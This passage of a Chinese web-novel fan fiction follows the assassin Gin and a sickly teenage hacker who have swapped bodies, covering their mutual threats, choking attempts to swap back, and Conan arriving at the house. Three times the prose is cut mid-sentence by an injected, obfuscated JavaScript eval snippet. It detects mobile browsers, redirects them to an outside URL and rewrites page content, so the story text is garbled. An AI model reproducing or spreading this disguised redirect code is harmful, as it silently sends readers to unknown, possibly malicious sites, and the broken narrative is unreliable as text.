“我只是想要炫耀一下今天买的蛋糕而已,这是我的爱好。要不是你把柯南打给我的电话挂了害我不得不装睡,我根本不会用你的手机恶作剧好吧!说起来还是你的错。”他一边说,一边翻出自己的手机,把过往的动态扒拉出来给他看。 11.2号 ‘香软的草莓蛋糕~像是在云朵上一样柔软~’ 11.12号 ‘香软的草莓蛋糕~像是在云朵上一样柔软~’ 11.20号 ‘香软的……’ 琴酒仔细检查了一下自己的手机,发现确实只有那条发送给某个组织成员的蛋糕图片。 他没有给任何号码备注,相叶佑禾不知道对方是谁,看来只是单纯选了最后一个联络过的号码——如果这个蛋糕没有其他意思的话。 “人机。”琴酒目光从他的动态上移开。 他暂时打消了一部分疑虑,对这个幼稚无知、给他带来麻烦的高中生品头论足:“怪不得身体这么垃圾,如果不是没有接口,我都要怀疑你是不是哪个实验室制造出来的报废品了。” 头晕眼花的琴酒没有察觉到相叶佑禾僵硬了一瞬的表情,对着他那寥寥无几的点赞和评论继续点评:“人缘也很差。” 这样的人,就算突然消失也不会引起注意。 相叶佑禾觉得自己被嘲讽了:“你不会以为你人缘很好吧?” 他只是不想被太多人注意才谨慎交友的。而琴酒,都不用调查就能猜到绝对没什么朋友。不是基于他杀手的身份,而是糟糕的性格。 这次,琴酒没有骂他说废话,只是低垂着脑袋,豆大的汗水从苍白的脸颊滑落。 他可怜的身体啊!该死的杀手。 为了让身体能好好休息,也为了避免再发生偷袭的事,相叶佑禾抬起手,在琴酒惊讶愤怒的目光中,强制将人敲晕。 一手拦住琴酒软绵绵的身体,让他靠在怀里避免滑落:“虽然很不爽……但这身体用起来真不错。” 拦腰把人抱起送到床上,相叶佑禾看着他难受的神情,忍不住叹了口气。 “虽然换了身体,怎么感觉也没比我自己发烧轻松多少?” 他任劳任怨地拿出酒精兑了温水后,把纱布沾湿,从琴酒的颈部开始,小心翼翼地擦拭起来。 琴酒这一觉睡得并不安稳。 除了身体不舒服外,更令他无法忍受的是有人在触碰他的身体。 即使在睡梦中,也让他不适、愤怒,想要将那只在他身上游走的手给折断。 可这愤怒更多的是来源于自己,他竟然从那人温柔的动作中感受到温暖,不自觉的放松下来…… 暖色的灯光下,这间狭小、温暖的卧室里,只剩下病人难以抑制的低低呻吟和纱布划过皮肤的‘沙沙’声。 静静待在客厅桌上的手机,接连发出嗡嗡的震动,却无人理会。 *** 第二天早上。 在鸟儿啄窗发出第一声闷响时,琴酒猛地睁开了眼睛。 锐利的绿眸先是观察了下四周的环境,才稍微松懈下来。 这是相叶佑禾的家,那个和他互换身体的少年。 脑袋昏昏沉沉的,却比昨晚舒服了不少。 想到昨晚发生的事,琴酒脸色铁青,他抓住额头上还留有温度的毛巾,一把扔得远远的,从床上坐起来。 目光触及到床头柜上的手机,起身的动作一顿。 那是他的手机。 琴酒打开后,首先印入眼帘的是几封未读邮件。 【波本:? 波本:手机被偷了? 波本:蛋糕看起来很好吃,真羡慕你能悠哉悠哉的吃甜品,不像我,深夜还要为任务奔波。 波本:好吧我是开玩笑的,所以这跟任务有关吗? 波本:Gin,我的时间很宝贵,如果这是新任务,麻烦直接明说好吗?】 每条消息的时间间隔是五分钟。 琴酒眸中晦涩不明。 发给波本的图片是巧合吗? 相叶佑禾真的只是个愚蠢的高中生? 还是说,这一切都只是表象? 下一条邮件是伏特加发来的。 【大哥,我随时待命,需要什么东西您告诉我,不管多晚我都一定送来,保证不耽误您的兴致!嘿嘿。】 琴酒捏了捏眉头,一个个都很闲的样子。 最后一条,是贝尔摩德。 【怎么样?黑客樱有进度了吗?】 樱——是他们私底下给那个嚣张狂妄的黑客所取的代号。 原因,这个未知的黑客在三年前竟然堂而皇之的入侵了警视厅的系统,还留下了一串话。 ‘你们的防护系统太差啦,我给你们免费升级一下,不用谢~’ 在那阵阵飘落的电子樱花雨下,这串黑色的字符狠狠扇了警方的脸,也害得组织卧底即将到手的资料,就这么飞走了。 不过因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14934720|160696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为那出色的能力,警方不计前嫌的想要将此人收编,而boss也是这么打算的。 结果三年过去了,却依旧没有查到半点消息。 【没有,你那边怎么样。】 贝尔摩德很快回复:【当然没有了,在樱花盛开的大树上想要找到那朵特殊的小樱花,无异于大海捞针。不过呢,我倒是很期待你能找到哦~boss的心腹~(飞吻)】 琴酒眉头一皱,似乎被恶心到了。 他直接关掉手机,查看起这间卧室。 不大的房间布置得很温馨,床头柜上放着一张合照,是比现在更年幼许多的相叶佑禾,大概十来岁的样子,他站在一个头发花白的老人身旁,稚嫩可爱的脸有些苍白,但笑容却像春天绽开的樱花。 敢把要杀自己的人带回家,说明这个老人要么暂时不在家,要么已经死了。 不远处放着一台电脑,看起来经常有使用的痕迹,琴酒打开看了眼,页面上除了常用的软件,还有几个当下热门游戏。 看起来没有不妥的地方。 把卧室都检查了一遍后,琴酒再次确定相叶佑禾只是个普通高中生。 没找到藏起来的枪他也不急,往卧室外走去。 刚打开门,一股清香从空中飘来,顺着这股味道,他看到了在厨房里,拿着把勺子尝味道的相叶佑禾。 他眉头一皱:“不要用我的身体做那种无聊的事。” 相叶佑禾被他吓了一跳,转身无语道:“拜托你也不要用我的身体擅自起来好吗?” 都还没彻底退烧。 他从锅里盛了一碗粥,塞进琴酒的手里:“喝完吃药,然后继续去睡觉。” 蔬菜粥散发出鲜甜的气味,从品相来看,味道应该不错。 琴酒没有拒绝,这副软绵无力的身体如果再不好好进食,说不定半小时后就要两眼一黑躺在地上了。 他也不怕相叶佑禾下毒,毕竟没人比他更在意这副身体。 琴酒喝粥的同时,相叶佑禾也没闲着,给自己也盛了一碗。 昨天晚上在琴酒熟睡后,他又继续了没做完的事。 暂时搁置灵魂互换的原因,处理下一个更为严峻的问题。 ——如果突然换回来,他该怎么面对琴酒的报复。 这个凶神恶煞的杀手,绝对不会放任一个知道他身份的普通人活着。 虽然身为异能者,但很遗憾,他是个脑力派,还是个身体超级鸡肋的脑力派。 除了用组织的情报作为威胁,他还打算制作一款需要定时吃解药的毒药吞下去——用琴酒的身体作为筹码。 为此,他还又使用了一次异能力。 害他又破了一次戒!真是个罪孽深重的男人。 “叮当。” 勺子碰撞在碗里发出清脆的声响,在心中筹划坏事的相叶佑禾一个激灵,抬头看向罪魁祸首:“你做什么?” “吃完了。”用纸巾擦了擦嘴,琴酒起身朝他走来。 “好了,接下来……”随着他靠近,阴影从上至下打落。 他慢条斯理地挽起袖口,居高临下地说。 “该做正事了。” 5. 第 5 章 “什么正事?我还没吃……” 那只纤细易折的手朝自己逼近时,相叶佑禾伸出手抓住对方的手腕,往后一扯一拉,琴酒整只手臂便被反剪在背部,同时,另一只手按住他的脑袋,猛地往下扣去。 “砰!” 琴酒脑袋重重砸在了桌子上,整个人被按压住动弹不得。 他眼冒金星,甚至出现了短暂的耳鸣。 “卧槽!” 相叶佑禾发誓,他只是想阻止琴酒而已,但这具杀手的身体神经反射带着他做出了判断,回过神来就已经完成了这套行云流水的动作。 让他都忍不住想要夸一声酷! 而现实是——“私密马赛!你还好吗?” 琴酒不语,只一味双眼紧闭。 相叶佑禾颤颤巍巍去探他鼻息,出气多进气少,他险些跪下来,言语破碎:“哥,我求你了,别死。” “你死了我可怎么办,虽然你的身体不管从身高、体格、还是健康程度来说都非常香,甚至自带格斗技巧……”相叶佑禾说着说着都开始馋这具身体了:“但是!” “身份有点过于麻烦了。” 不过也不是不能处理,来一个假死退出组织,从此过上隐姓埋名的日子…… 停下! “而且年纪还大,少活多少岁都不知道。” 最终相叶佑禾还是打消了这个想法,金窝银窝不如自己的狗窝,别人的身体再香那也不是自己的。 ——他绝对不是怕麻烦,只是作为一个米花町的良好市民,不应该有这种可怕的想法。 相叶佑禾把琴酒放在沙发上,从冰箱里拿了冰块用毛巾裹好,轻轻贴到肿胀的额头上:“我想多活几年,所以你别死,活过来,拜托了,这是我一生一次的请求——” “闭、嘴。”琴酒咬牙切齿,深吸了两口气,用力过猛差点又昏厥过去。 “你看你,怎么这么不小心。”相叶佑禾伸手去掐人中。 琴酒无力阻止,只能用还有些模糊的眼睛看着他在自己身上上下折腾,怒到极点,身体都在轻轻颤抖。 一股子南村群童欺我老无力的既视感。 大约过了一个多小时,除了脑袋磕到的地方还传来疼痛,琴酒又活了三分之一。 他起身,这次竟然没有放狠话,只是目光沉沉地盯着相叶佑禾,耷拉下来的粉色碎发遮盖住一部分眼睛,显得更加阴郁、暗沉。 连相叶佑禾递来的感冒药,也爽快接过直接吞下,期间一言不发。 这样不说话更可怕了。 “咳……”好冷,相叶佑禾率先打破这份平静:“这位……杀人犯先生,药也喝了该回床上休息了?” “琴酒。”他冰冷的唇瓣中吐出两个字。 相叶佑禾装模作样:“你想喝吗?现在这个身体倒是能买酒了,我可以……” “我的代号。”琴酒不耐烦地打断他:“更多的,就等我们实验过后再决定要不要告诉你。” 相叶佑禾:“实验?” “对。”琴酒这次没有再贸然伸手,“实验换回来的办法,像昨天那样。” 相叶佑禾陷入短暂的沉默。 他既想早点换回来,这样互换带来的影响能控制在最小范围内,可又不想那么快。 时间太短,材料有限,他还没来得及制作出只有他能解的药来拿捏住琴酒。 几番纠结,他还是决定试一试——反正不管是毒药还是用组织情报威胁,只要换回来他普通高中生的身份都瞒不住,不如干脆一点,还能避免一些不必要的怀疑。 双重保障虽好,只有一个也能达到同样的效果。 他沉默的这几秒,琴酒果然开始怀疑了,他双眼微眯,似乎在考量什么:“怎么,你不想换回来?” 相叶佑禾表现出一个高中生该有的害怕和担忧:“我、我怎么知道你在换回来后不会杀了我!” 琴酒不是从前的琴酒了,他也没想到自己有一天,会不能随心所欲地动用蛮力。 很想点根烟,但烟和抢一样,都不知所踪。 “如果事情顺利,我保证会在第一时间离开,不杀你。” 这种答复,即使是想要装成随便给点‘能信’的借口,就顺水推舟答应下来的单纯高中生,都没办法答应。 单纯的普通高中生,也不是脑子全无,什么都会相信。 在他开口嘲笑之前,琴酒继续道:“我走之后你可以跟警方说有犯罪分子要杀你,寻求他们的庇护。” “你没有拒绝的权利,你不答应,我不会告诉你我的记忆、我的行为模式,你知道我杀手的身份,只要有一点差错你就会被其他人怀疑,从而杀掉,但你这个高中生的身份就不一样了,我就算性情大变也没人会怀疑,我可以转学、可以换另一个地方继续生活。” 对于心智尚未成熟、生活在和平世界的孩子很有威胁力。 但是相叶佑禾很不爽。 他只是装作普通人,并不是真的包子。 如果超出他的忍耐极限,他不介意对对方施以报复。 “那么,我用这具身体向警方自投罗网如何?相信他们会保护好我。当然……”他扣住琴酒的脸,苍白的皮肤瞬间泛起红印,相叶佑禾毫不怜惜地盯着那双翠绿色的瞳孔:“是在杀了你之后。” 从来都是琴酒像这样掐别人威胁,这还是头一次被人如此对待。 琴酒看着相叶佑禾脸上一改先前的蠢样,眸色微深:“终于用我这张脸摆出正确的表情了?” 他从容自若的掏出自己的手机,仍进茶几上的水杯里。 手机被水浸泡,发出‘咕噜咕噜’的声音。 相叶佑禾微愣。 “现在,我无法联系其他人了。”琴酒伸到相叶佑禾口袋里,掏出他的手机,大约是主人嫌麻烦,这支手机并没有设置密码。 他对着相叶佑禾的脸拍了张照片。 “你做什么?”相叶佑禾松开手后退两步,揉了揉这张冷硬的脸:“要拍照也提前说一声,我好换个柔和的表情。” 琴酒冷冷扫了他一眼,输入号码,点击简讯编辑,而后简单迅速地说:“里面有我的照片和个人信息、犯罪记录、车牌号、所有安全屋住址。” 他抬起屏幕给相叶佑禾看了看,随后将手机握在手里。 他脸色苍白、额头上的红肿更添了几丝脆弱,可他依旧头脑清醒、不疾不徐地说:“无论是手枪还是炸弹、有解毒剂的毒药,给你你都会担心身体病弱的你,在换回来那一刻抵御不了身为杀手的我。” 以琴酒的反应速度,能在瞬间抢走相叶佑禾手里的武器。 “给你情报,你也只会死得更快。” “那么,这个你能做到吧?”琴酒的拇指移到发送键上:“只要我有杀你的念头,你只需动动手指,就能立即把我的信息发送给警方,让我这个在黑夜行走的幽灵暴露在阳光之下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14934721|160696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,再也无法安生。” 那双绿色的眸子仿若一汪寒潭,却又被兴奋搅得沸腾澎湃:“这个保障——足够吗?” 相叶佑禾惊讶地松开手。 等等!那都是他的词啊! ——‘只要你想杀我,属于你、以及组织的所有信息便会立刻发送到各个警署、每位警官的电脑、手机里。’ 琴酒抢了他的词,还是非常不诚心、充满了谎言的词! 看似杀手为了身体做出艰难退让、拿出诚意、面面俱到,从相叶佑禾的角度把更危险的情况都排除,选了一个较为安全、可操作的办法,实则每个步骤都有坑! 首先,琴酒的信息基本都是假的! 其次,换过来的瞬间,身体状态极差的相叶佑禾真的不会需要缓和时间,从而被对方夺走手机? 如果成功发送,他也能很快让人将信息抹除,相叶佑禾不用异能力都能做到,这么大的犯罪组织里,应该也有差不多的黑客吧。 再不然,也能将收到信息的人干掉。 就算真的处理不掉好了,仅凭长相代号这么一点信息,还不足以让警方抓住他。 而这些——都是普通高中生所不知道的。 他会相信警方,并且紧紧抓住这根琴酒抛出来的救命稻草。 面对体型、能力、势力都如一座高山的杀手——他别无选择。 琴酒丝毫不认为相叶佑禾会拒绝。 你们玩战术的心都脏! 相叶佑禾在心中对琴酒竖了个中指,希望一会能成功换回来,他要用真实情报狠狠甩琴酒的脸,让他错愕、害怕、怒不可遏却只能如困兽一般发出呜呜的声音。 他面上做出挣扎良久后,终于忐忑接受的神情:“好,就按你说的办,如果你食言,也别想好过!” 琴酒唇角微扬,露出意料之中又饱含不屑的笑容。 “那么,开始吧。” “等等!”相叶佑禾大喊一声,在琴酒‘你又怎么了’的神情中,回房间翻箱倒柜找出一根又粗又长的麻绳,在自己身上缠了一圈又一圈:“防止你换回来后突然暴起。” 琴酒额头青筋凸起,却没说什么。 “愣着干嘛,帮我把结打紧一点啊。”相叶佑禾走过来拐了拐他,催促道:“你不想快点换回来吗?还是你刚才说的都是骗我的?” “放过你,跟放过一只蚂蚁没什么区别。”琴酒目若寒星,裹挟着冰霜朝他走来,狠狠打了个结。 “嘶……”相叶佑禾龇牙咧嘴:“喂,你轻一点,我是没什么事,你别用力过猛又晕……” 话音未落,喉咙被体温偏高的手扣住。 琴酒五指收拢,凸起的青筋剧烈跳动:“放心,‘杀’你的力气还是有的。” 杀意在空气中蔓延,因为缺氧,相叶佑禾的视线开始模糊,就在这时,窗户被人敲了敲,伏特加的脸贴在玻璃窗上:“大哥,大哥你起床了吗?时间不早了,我们……” 屋内,银发杀手双腿叉开跪坐在地上,他衣服凌乱,精瘦的腰肢被粗粝的麻绳捆住,反剪在背后的手腕隐隐约约能看到被勒出的红印。 他扬着头,将脆弱的脖颈送进粉发少年的手中,几缕碎发被汗水浸湿,湿漉漉的黏在耳边。 而那位少年同样衣衫凌乱,上面布满大力拉扯过的褶皱,他弯着腰,唇瓣贴在银发杀手耳畔,苍白的脸上带着昨夜那般红晕。 伏特加的声音戛然而止。 6. 第 6 章 “对不起,打扰了!”伏特加猛地捂眼转身,贴着墙蹲缩在地上。 这这这,这是他能看的吗?! 太刺激一点了吧! 没想到大哥在这方面玩得这么花,又是捆绑paly又是为爱掐脖红眼的…… 掐脖…… 等等! 不对! 有没有一种可能,大哥有危险! 刚才他的表情看上去有些痛苦,而粉发少年虽然动作亲昵,眉眼间的狠厉却不容作假,更是直观的透露出了杀意…… 这是一场伪装成情趣paly的杀人案件! 伏特加大惊失色。 他喊着大哥啊别死啊就冲了上去,用他魁梧的身躯用力撞向大门。 年代久远、略显破旧的木制大门就这么‘砰’地一声被撞开了。 “大哥!我来救你了!”伏特加干净利落地掏出手枪,对准了粉发少年:“小鬼!不想死就放开我大哥!” 粉发少年眉眼间满是不悦和冰冷,银发男人也吃惊地回过头。 不论是琴酒还是相叶佑禾,在灵魂互换这件事上一致对外,绝对、绝对不能让其他人知道。 两道声音同时响起。 “滚。” “出去。” 伏特加愣住,银发男人直起身子将粉发少年挡在身后,他泛红的眸子冷冷盯着他,喘着粗气的胸膛剧烈起伏着,沙哑的嗓音带着怒气:“给我出去!” “好的大哥!” 这场景,怎么看都有一种少儿不宜的感觉吧!尤其大哥还护住了身后的少年。 如果真的有危险,怎么可能生气地赶他走。 所以——没有误会,就是他想的那回事! 伏特加两眼一闭:“对不起大哥打扰了你们继续。” 不敢停顿地说完这串话的同时,将那撞坏锁的大门拉上,关紧,退回墙边,无力地蹲下。 他就说嘛,大哥怎么可能被那种毛头小子给控制住。 不过,大哥居然是M吗? 伏特加扶了扶墨镜,高深莫测的点头。 人之常情。 等等……他会被灭口吗? 伏特加面容凝重,害怕的抱住了自己壮硕的身躯。 偏偏这时,屋里隐约发出一些‘呃’、‘嗯……’的呻吟。 有这么痛苦吗?不知道的还以为是杀人现场呢。 可能这就是sm的乐趣吧。 随后,又传来了一些断断续续的声音。 “你……行不行……换我来……” 这是大哥的声音。 伏特加点头,果然,大哥就该是上面那个。 “你最好……成功……” 这是那个陌生少年的声音。 伏特加瞠目结舌。 什么意思,大哥居然不……stop!住脑,前方可是地狱啊! 伏特加连滚带爬地起身离开,不能再听下去了,他会被灭口的! *** 坏人绞尽脑汁不如蠢人灵机一动。 伏特加冲进来把相叶佑禾吓了一跳,尤其是路人甲居然用枪指着琴酒。 那可是他的身体啊! 万一走火真的打到了怎么办! 好在两人目标一致,伏特加也足够听话,之后在琴酒迫不及待地‘继续’下,两人又开始沉浸式实验把身体换回来。 被打断后又不得不重头再来,又一次体会濒死感觉的相叶佑禾火气上来了。 失败后,他捂着喉咙质问:“你到底行不行啊!不行换我来!” 一开始认为,灵魂互换时是琴酒身体掐相叶佑禾身体的脖子,这次换过来,也许能成功,但说到底从灵魂上来看,还是琴酒在掐他啊! 琴酒显然也想到了这层,脸色难看的答应:“你最好能一次成功,否则你的身体可承受不了。” “这种事不要你说。”相叶佑禾背过身,抬了抬捆住的手:“帮我解开。” 琴酒‘啧’了一声:“竟做些麻烦的事。” “那还不是你没成功。”相叶佑禾嘟囔着,绳子松开,他揉了揉被勒红的手腕,甩了甩,有些兴奋。 终于轮到他掐琴酒了么? 让他看看,什么角度最能让他痛苦。 相叶佑禾高兴的表情在看到琴酒的脸时,瞬间由晴转阴。 他在高兴个什么……受伤的不还是自己的身体。 琴酒一眼看出他在想什么,冷哼一声:“我奉劝你,最好控制好力道,否则永远也别想要你的身体了。” “我当然知道。”相叶佑禾活动着手腕,盯着他纤长的脖颈左瞧又瞧,似乎在挑选下手的角度,却又透露出犹豫不安的本质。 哪怕幼时曾做过被使用的异能者工具,异能力为网络专精的相叶佑禾也不曾亲自杀过人。 可也有许多人因他而死。 尘封的童年记忆顺着他心绪不宁的空隙攀爬涌上,相叶佑禾又迅速将它按下了下去。 又不是真的杀人,他在紧张什么? 他只是心疼自己多灾多难的身体又要受罪而已! 没有经历过黑暗的小鬼就是麻烦。只是这种程度就瞻前顾后、忐忑不安。 琴酒一把抓住相叶佑禾的手放到自己的脖颈上,他的手顺势覆盖在上方,引导着没有杀过人的小鬼,如何下手。 “用不着担心,关键时刻我会提醒你收手。” 即使琴酒的本意只是担心相叶佑禾收不住力道,害他跟随这具身体一起死掉,但那冰冷、充满自信以至于有些不屑的声音,听在耳中却可靠极了。 相叶佑禾紧张的心,莫名平静下来。 “那就开始吧。” *** 几分钟后,粉毛琴酒捂着喉咙瘫坐在沙发上,大口大口的喘着气。 本就因为发烧不适的嗓子,在经历过锁喉后,更加痛苦了。 每一次喘气,都如同被刀片划过一般生疼。 这具身体的眼睛不受控制的溢出泪花,干净的发丝因汗水湿答答的黏在脸上,让琴酒愈发烦躁。 接二连三的伤害让这具破铜烂铁般的身体到达了极限,再也经受不住一点伤害了。 此刻,也不适合再继续坐在地上。 琴酒试图起身,力不从心,失败。 “怎么会这样呢?”银发杀手版相叶佑禾坐在沙发上,修长的大腿敞开,手肘搭在膝盖上,双手交叠,撑着下巴陷入沉思。 琴酒二次试图起身,二次失败。 相叶佑禾:“难道是场地、时间的原因?” 琴酒三次试图起身,脆弱的胳膊终于颤颤巍巍的支撑起他身体,第三次即将成功! “或许还要加上温度的影响!”相叶佑禾‘蹭’地站起来,却不小心碰到了旁边的琴酒,他如陈旧的薄纸一般,轻轻一碰就簌簌颤抖着向侧边倒去。 “!!”相叶佑禾一惊,连忙抓住他的手腕,一个用力将即将倒下的人拉进了怀里,搂得结结实实。 他心有余悸地谴责:“怎么这么不小心,你知道你身体有多弱吗?” 琴酒眉间满是阴鸷,用眼神凌迟着相叶佑禾。而对方丝毫没有察觉,甚至拦腰抱起他。 这个姿势让琴酒勃然大怒,手背青筋暴起:“给我放开!” “……你的声音好像唐老鸭。”相叶佑禾平稳地将人放在沙发上,并接了杯温水。 而勉强吼出那句话的琴酒,果然因为用力过猛开始眼前发黑。 废物身体,竟然还能活到17。 相叶佑禾将水凑到琴酒嘴边,对方就着他的手喝了几口。 “怎么样?舒服一些了吧?”他拿起放在一旁的毛毯,贴心的给人盖上。 琴酒没有回答,而是继续先前没说完的话:“暂时到这,等这具身体好点再继续。” 他的语气缓慢,却又有些咬牙切齿的意味。 相叶佑禾叹了口气。 他就知道事情不会这么简单。 “只能暂时这样了。” 相叶佑禾愁眉苦脸的走到厨房,端出剩下的那块小蛋糕,坐在琴酒不远处的小椅子上愉快的吃了起来。 反正也没办法改变,一直想也只是徒增烦恼。 琴酒在他也没办法干正事,不如好好享受享受这难得的休息时间。 他叉了块蛋糕放在嘴里,软绵的口感让相叶佑禾幸福感爆棚。 真爽啊~ 吹着暖气吃着喜欢的甜点,相叶佑禾准备打开电视看一看节目。 “过来,给我上药。”琴酒冷淡的声音蓦然响起,带着令人无法忽视的气息。 啊,差点忘了,还有个病人在旁边。 相叶佑禾撇嘴,看着双眸半阖,脆弱得跟纸糊似的琴酒,只得去照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14934722|160696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾他。 他咬着叉子去拿了药,将喷雾喷在颈处的红印上,随后轻轻按揉。 指尖刚触碰到脖颈处的皮肤,便被条件反射的琴酒一把抓住。 相叶佑禾看着那双锋利的眼眸:“喂,不是你让我上药的吗?” 琴酒意味不明地盯着他两秒,随后扔开他的手:“别用我的脸做这种蠢事。” 相叶佑禾:“你选择当杀手真是个正确的决定。” 要不然早被人沉尸东京湾,还得靠柯南帮忙查出凶手。 琴酒冷声:“我的实力还用不着你肯定。” 相叶佑禾手一滑:“……我不是那个意思。” 琴酒懒得搭理他,他一不说话,空气就陷入安静。 相叶佑禾碎碎念起来:“看来这印记要一段时间才能消下去,还好是冬天,可以用高领毛衣盖住……说起来,我为什么要伺候你啊?” 琴酒淡漠地瞥了他一眼,相叶佑禾读懂了他的意思。 “是我的身体没错……那你怎么不帮你的身体上药?” 他扯了扯衣领,露出脖颈上的红手印。 “我也有。” 琴酒无视他的问题:“把你手机给我。” 相叶佑禾警惕:“做什么?” 琴酒:“让伏特加去买个新手机和电话卡,顺带帮你把那扇门给换了。” 他不放心相叶佑禾顶着他的脸出门,总觉得这蠢货会搞出什么麻烦。 不用自己出钱换门,相叶佑禾爽快的答应了。 毕竟他是个穷学生。 不过…… “不用换,把锁和损坏的地方修好就行。” 琴酒眼皮微掀。 相叶佑禾不舍得换掉这个充满回忆家庭的任何东西。 当年他被镭钵街的爆炸波及到,在难民所被来横滨旅游的奶奶捡走,带回米花町。 从那以后他被打上了死亡的字样,在和平的米花町和奶奶相依为命,过上了普通人的生活。 奶奶去世后,他又变成了一个人。 这些充满了回忆的物件,他不是很想改变。 “随你。”琴酒将手机扔回相叶佑禾那,疲惫地捏了捏眉心:“我要休息一会,伏特加来了你不用多说,拿到手机就让他离开。” “ok。”相叶佑禾欣慰,这人总算学会主动休息了。 “记住。”这次轮到琴酒提醒他:“语气要冷淡,扔掉你的‘请’、‘谢谢’,不要多说话,实在不知道怎么说就让对方滚。” 相叶佑禾:“……好没礼貌一人。” 琴酒这次甚至不屑搭理他。 *** 伏特加办事效率很高,很快就把手机送来,并找了工作人员把门修好。 等工作人员都离开后,伏特加小心翼翼地偷瞄了一眼相叶佑禾的脸色。 银发男人双手插兜、面无表情,眉眼依旧锋利如初,但伏特加感觉到了,大哥隐藏在表面下的——温和! 这就是爱情的力量! 他这才走到相叶佑禾身旁:“大哥,那个任务……” 相叶佑禾:“滚。” 伏特加:“……” 什么?就算吃饱了也没原谅他吗! 相叶佑禾:“……”他为什么沉默?难道刚才没有展现出琴酒的气势? 气沉丹田,再来一遍:“滚。” “我知道了大哥!”墨镜不是为了耍酷,而是遮住泪水。 伏特加潇洒转身。 “等等。” 伏特加立即回头,满脸期待。 相叶佑禾:“记得走远点,不要靠近这个地方。” 家里有一个犯罪分子就行了。 伏特加:“……好” 伏特加离开时的背影充满了难以言喻的悲伤,相叶佑禾看不懂,莫名觉得有些抱歉。 都怪琴酒,他果然是个冷血没有感情的家伙! ——虽然说话的是自己。 门修好了,人也都走光了,琴酒在卧室睡觉,相叶佑禾打算继续把那块没吃完的蛋糕吃完时,门铃响了。 刚吃了一口的相叶佑禾皱眉,这个时间是谁,该不会是伏特加又回来了? 他来到门边,从猫眼看去。 穿着帝丹高中校服的两个女孩,和一个熟悉的小学生侦探。 “相叶哥哥~开门,我是柯南!” 7. 第 7 章 自从在相叶佑禾的电话里听到疑似琴酒的男声、和不知名的撞击声后,江户川柯南的心就没平静下来过。 昨天晚上恨不得立马奔赴现场,但是因为大喊大叫被毛利小五郎给狠狠制裁了。 再加上不知道相叶佑禾的家庭住址,就算偷溜出去也没办法找到两人,江户川柯南只能作罢。 翻来覆去一晚上都没睡着,今天又因为帝丹小学期末考试不能请假,只能老老实实的去学校安静等放学。 想到自己担心得考试都心不在焉的,江户川柯南就忍不住吐槽。 相叶佑禾那家伙,明明从国中就认识,一次都没邀请过他们去家里做客就算了,连家庭住址也保密。领地意识也太强了点。 还好小兰也担心相叶佑禾病情太严重,从老师那里要来了地址。否则他就要用工藤新一的身份,打电话找老师要了。 理所当然的,对于关心朋友的毛利兰和铃木园子,江户川柯南也找不出让她们不要跟来的借口。 “叮咚叮咚!” 确认是相叶家后,江户川柯南率先按起了门铃。 “相叶哥哥,你在家吗?” 柯南用着一张可爱的脸,说出让相叶佑禾惊恐的话。 工藤新一! 相叶佑禾迅速蹲到地上——即使外面压根看不见。 大事不妙,这小子居然真的跑来他家了! 昨天晚上终究还是引起了他的怀疑。 怎么办怎么办,以琴酒那狗都嫌的性格,根本不可能完美模仿他!只会招来更多的怀疑,从而被难缠的侦探小子盯上死死不放。 他的普通生活…… 事已至此。 相叶佑禾垂下头,半张脸藏在阴影中,眸光晦暗不明。 那就只好—— 装不在家吧! 还好为了避免再发生早上的乌龙事件,相叶佑禾学乖早早把窗帘拉上了。 “叮咚叮咚叮咚——” 门铃一声比一声急促,像珠子一样串联在一起。 耳朵瞎了听不到哟~ 相叶佑禾来到沙发上坐下,翘起二郎腿看书。 门外,毛利兰将像是在恶作剧的小学生抓走:“柯南!不能这样按门铃,太没礼貌了。” 可恶!小学生命运的后衣领被揪住,只能蹬着腿卖萌:“可是人家担心相叶哥哥嘛!” 听得相叶佑禾露出死鱼眼。 哥哥哥哥的,你一个寄住在小兰家里、仅仅和他见过几次面,每次都分走他一个蛋糕的小学生,和他很熟吗?! 想到那个笑眯眯凑过来,一脸天真询问‘相叶哥哥,这个蛋糕好吃吗?’的柯南,相叶佑禾合理怀疑那家伙是故意的。 就是想看他不舍却又忍痛割爱的样子。 在他回忆的期间,毛利兰疑惑道:“这么久了没人回应,相叶同学该不会不在家吧?” 有这种可能。 但……江户川柯南看着崭新的门锁,以及地上残留的木质碎屑,认为屋内一定藏着什么。至少,会调查处很多线索! 说不定相叶佑禾就在里面,只是被绑住或者其他原因无法说话,更严重一点,他说不定已经…… 江户川柯南拳头紧紧握起。 总之,今天一定要进到相叶家里! 他抬头:“啊咧咧?可是你们不是说,相叶哥哥和老师请病假了吗?应该会在家里休息吧~” 铃木园子叉腰:“我说你这个小鬼头,就没有一种可能他去医……” 